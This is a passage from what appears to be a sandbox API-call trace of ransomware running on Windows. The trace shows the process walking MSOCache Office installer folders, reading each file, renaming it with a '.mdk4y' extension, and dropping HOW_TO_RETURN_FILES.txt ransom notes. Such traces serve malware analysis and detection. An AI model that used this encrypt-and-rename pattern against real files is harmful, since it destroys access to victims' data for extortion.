(normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0085.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816117600000) returned 1 [0085.946] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0086.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816133900000) returned 1 [0086.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816133900000) returned 1 [0086.145] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.mdk4y")) returned 1 [0086.145] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0086.145] AreFileApisANSI () returned 1 [0086.145] GetACP () returned 0x4e4 [0086.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="branding.xmll", lpUsedDefaultChar=0x37df4c) returned 12 [0086.145] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0086.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816137600000) returned 1 [0086.146] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x91975, lpOverlapped=0x0) returned 1 [0086.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816140600000) returned 1 [0086.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816140600000) returned 1 [0086.182] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.mdk4y")) returned 1 [0086.182] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0086.182] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0086.182] AreFileApisANSI () returned 1 [0086.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 100 [0086.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0086.183] GetFileType (hFile=0x12c) returned 0x1 [0086.184] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.184] AreFileApisANSI () returned 1 [0086.184] GetACP () returned 0x4e4 [0086.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AccessMUISet.msi-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 16 [0086.184] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0086.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816141400000) returned 1 [0086.185] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd4200, lpOverlapped=0x0) returned 1 [0086.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816167400000) returned 1 [0086.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816167500000) returned 1 [0086.455] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.mdk4y")) returned 1 [0086.456] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.456] AreFileApisANSI () returned 1 [0086.456] GetACP () returned 0x4e4 [0086.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AccessMUISet.xml", lpUsedDefaultChar=0x37dfd8) returned 16 [0086.456] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0086.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816168600000) returned 1 [0086.456] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x333, lpOverlapped=0x0) returned 1 [0086.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816168800000) returned 1 [0086.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816168800000) returned 1 [0086.458] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.mdk4y")) returned 1 [0086.459] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.459] AreFileApisANSI () returned 1 [0086.459] GetACP () returned 0x4e4 [0086.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xmlSet.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0086.459] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0086.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816168900000) returned 1 [0086.459] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa40, lpOverlapped=0x0) returned 1 [0086.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816174200000) returned 1 [0086.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816174200000) returned 1 [0086.513] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0086.513] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0086.513] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0086.513] AreFileApisANSI () returned 1 [0086.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0086.513] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0086.514] GetFileType (hFile=0x128) returned 0x1 [0086.514] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0086.514] AreFileApisANSI () returned 1 [0086.514] GetACP () returned 0x4e4 [0086.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{91140000-0011-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{91140000-0011-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0086.514] AreFileApisANSI () returned 1 [0086.515] GetACP () returned 0x4e4 [0086.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\k\x89") returned 63 [0086.516] AreFileApisANSI () returned 1 [0086.516] GetACP () returned 0x4e4 [0086.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0086.516] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.516] AreFileApisANSI () returned 1 [0086.516] GetACP () returned 0x4e4 [0086.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0086.516] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.516] AreFileApisANSI () returned 1 [0086.516] GetACP () returned 0x4e4 [0086.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Office32WW.msi17-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 14 [0086.516] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0086.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816174700000) returned 1 [0086.517] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0086.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816187900000) returned 1 [0086.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816187900000) returned 1 [0086.658] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.mdk4y")) returned 1 [0086.658] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.658] AreFileApisANSI () returned 1 [0086.659] GetACP () returned 0x4e4 [0086.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x37dfd8) returned 14 [0086.659] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0086.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816188900000) returned 1 [0086.659] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x10b2, lpOverlapped=0x0) returned 1 [0086.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816194800000) returned 1 [0086.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816194800000) returned 1 [0086.719] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.mdk4y")) returned 1 [0086.719] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.719] AreFileApisANSI () returned 1 [0086.719] GetACP () returned 0x4e4 [0086.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ose.exe2WW.xml", lpUsedDefaultChar=0x37dfd8) returned 7 [0086.719] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.719] AreFileApisANSI () returned 1 [0086.719] GetACP () returned 0x4e4 [0086.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="osetup.dll.xml", lpUsedDefaultChar=0x37dfd8) returned 10 [0086.720] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0086.720] AreFileApisANSI () returned 1 [0086.720] GetACP () returned 0x4e4 [0086.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OWOW32WW.cabml", lpUsedDefaultChar=0x37dfd8) returned 12 [0086.720] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0086.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816195100000) returned 1 [0086.721] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0086.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816205900000) returned 1 [0086.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816206000000) returned 1 [0087.170] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.mdk4y")) returned 1 [0087.171] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.171] AreFileApisANSI () returned 1 [0087.171] GetACP () returned 0x4e4 [0087.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PidGenX.dllb", lpUsedDefaultChar=0x37dfd8) returned 11 [0087.171] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.171] AreFileApisANSI () returned 1 [0087.171] GetACP () returned 0x4e4 [0087.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms00-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 24 [0087.171] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0087.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816240200000) returned 1 [0087.172] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xaec3a, lpOverlapped=0x0) returned 1 [0087.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816249000000) returned 1 [0087.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816249000000) returned 1 [0087.269] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.mdk4y")) returned 1 [0087.270] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.270] AreFileApisANSI () returned 1 [0087.270] GetACP () returned 0x4e4 [0087.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ProPlusrWW.msiice.xrm-ms", lpUsedDefaultChar=0x37dfd8) returned 14 [0087.270] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0087.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816250100000) returned 1 [0087.271] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0087.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816258500000) returned 1 [0087.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816258500000) returned 1 [0087.501] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.mdk4y")) returned 1 [0087.501] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.502] AreFileApisANSI () returned 1 [0087.502] GetACP () returned 0x4e4 [0087.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ProPlusrWW.xml", lpUsedDefaultChar=0x37dfd8) returned 14 [0087.502] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0087.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816273200000) returned 1 [0087.502] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x41d4, lpOverlapped=0x0) returned 1 [0087.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816278300000) returned 1 [0087.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816278300000) returned 1 [0087.554] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), 